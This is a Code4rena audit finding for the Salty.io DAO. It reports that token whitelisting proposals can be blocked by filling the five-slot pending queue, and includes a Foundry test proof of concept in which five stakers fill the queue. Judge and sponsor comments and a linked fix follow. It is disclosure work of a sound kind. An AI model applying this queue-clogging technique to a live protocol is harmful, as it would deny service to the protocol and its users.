Creation of token whitelisting proposals can be DOS'd

[c4-bot-2]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L162-L177 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L81-L118

Vulnerability details

Summary

The creation of token whitelisting proposals isn limited to 5 proposals; after which it is DOS'd until proposals are voted on and finalized.

Vulnerability Details

In proposeTokenWhitelisting() when a proposal is created to whitelist a new token; the ballotId is added to _openBallotsForTokenWhitelisting. There is then a check to ensure that the length of _openBallotsForTokenWhitelisting does not exceed daoConfig.maxPendingTokensForWhitelisting().

Where maxPendingTokensForWhitelisting has been reached, new proposals will not be created for whitelisting tokens. This could happen by accident or by malicious actions on the part of users manipulating the system.

By default maxPendingTokensForWhitelisting is set to 5 but it could be decreased via vote to 3 which would make the issue even more common place.

    function proposeTokenWhitelisting( IERC20 token, string calldata tokenIconURL, string calldata description ) external nonReentrant returns (uint256 _ballotID)
        {

         // SOME CODE

>>>      require( _openBallotsForTokenWhitelisting.length() < daoConfig.maxPendingTokensForWhitelisting(), "The maximum number of token whitelisting proposals are already pending" );

         // SOME CODE

     uint256 ballotID = _possiblyCreateProposal( ballotName, BallotType.WHITELIST_TOKEN, address(token), 0, tokenIconURL, description );
        _openBallotsForTokenWhitelisting.add( ballotID );

        return ballotID;
        }

POC

Add the test function below to DAO.t.sol and run:

```
function test_DOS_TokenWhitelisting() public
    {

    // declare names; need 4 more to create proposals
    address charlie = address( 0x3333 );
    address deployer = address( 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF );
    address paul = address( 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496 );
    address jim = address( 0x123456789 );

    // transfer salt to all 6 for staking and voting
    vm.startPrank(address(daoVestingWallet));
    salt.transfer(alice, 200000 ether);     
    salt.transfer(bob, 200000 ether);
    salt.transfer(charlie, 200000 ether);
    salt.transfer(deployer, 200000 ether);
    salt.transfer(paul, 200000 ether);
    salt.transfer(jim, 200000 ether);
    salt.transfer(address(dao), 1000000 ether);
    vm.stopPrank();

    // create 6 tokens
    IERC20 test = new TestERC20( "TEST", 18 );
    IERC20 test1 = new TestERC20( "TEST1", 18 );
    IERC20 test2 = new TestERC20( "TEST2", 18 );
    IERC20 test3 = new TestERC20( "TEST3", 18 );
    IERC20 test4 = new TestERC20( "TEST4", 18 );
    IERC20 test5 = new TestERC20( "TEST5", 18 );

    // Each user stake SALT and try to create token whitelisting proposal
    vm.startPrank(alice);
        staking.stakeSALT(100000 ether);
        proposals.proposeTokenWhitelisting(test, "url", "description");
    vm.stopPrank();

    vm.startPrank(bob);
        salt.approve( address(staking), type(uint256).max );
        staking.stakeSALT(100000 ether);
        proposals.proposeTokenWhitelisting(test1, "url", "description");
    vm.stopPrank();

    vm.startPrank(charlie);
        salt.approve( address(staking), type(uint256).max );
        staking.stakeSALT(100000 ether);
        proposals.proposeTokenWhitelisting(test2, "url", "description");
    vm.stopPrank();

    vm.startPrank(deployer);
        salt.approve( address(staking), type(uint256).max );
        staking.stakeSALT(100000 ether);
        proposals.proposeTokenWhitelisting(test3, "url", "description");
    vm.stopPrank();

    vm.startPrank(paul);
        salt.approve( address(staking), type(uint256).max );
        staking.stakeSALT(100000 ether);
        proposals.proposeTokenWhitelisting(test4, "url", "description");
    vm.stopPrank();

    // jim needs to be granted access
    grantAccessTeam();

    // 6th proposal fails
    vm.startPrank(jim);
        salt.approve( address(staking), type(uint256).max );
        staking.stakeSALT(100000 ether);
        vm.expectRevert("The maximum number of token whitelisting proposals are already pending");
        proposals.proposeTokenWhitelisting(test5, "url", "description");
    vm.stopPrank();
    }
```

Impact

Malicious users can clog the whitelisting queue with fake token proposals, blocking the addition of genuine tokens and DOSing core functionality of the protocol. This can restrict the ability of the protocol to operate and it's popularity with users. Although a user can only create one proposal per address at a time; a coordinated group of just five could block the functionality indefinitely.

Tools Used

Manual Review Foundry Testing

Recommendations

Allow a trusted authority to remove proposals which they deem to be malicious such as proposals for fake tokens.

Assessed type

DoS

[c4-judge]

Picodes marked the issue as primary issue

[c4-sponsor]

othernet-global marked the issue as disagree with severity

[c4-sponsor]

othernet-global (sponsor) confirmed

[othernet-global]

Make proposals require a percent of the staking SALT which is set by the DAO. Each user can only make one proposal at a time. Additionally, the default unstaking period for xSALT is 52 weeks and xSALT is non-transferrable.

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes changed the severity to 2 (Med Risk)

[Picodes]

Medium severity seems appropriate here under "function of the protocol or its availability could be impacted".

[othernet-global]

There is now no limit to the number of tokens that can be proposed for whitelisting.

Also, any whitelisting proposal that has reached quorum with sufficient approval votes can be executed.

https://github.com/othernet-global/salty-io/commit/ccf4368fcf1777894417fccd2771456f3eeaa81c

[c4-judge]

Picodes marked the issue as selected for report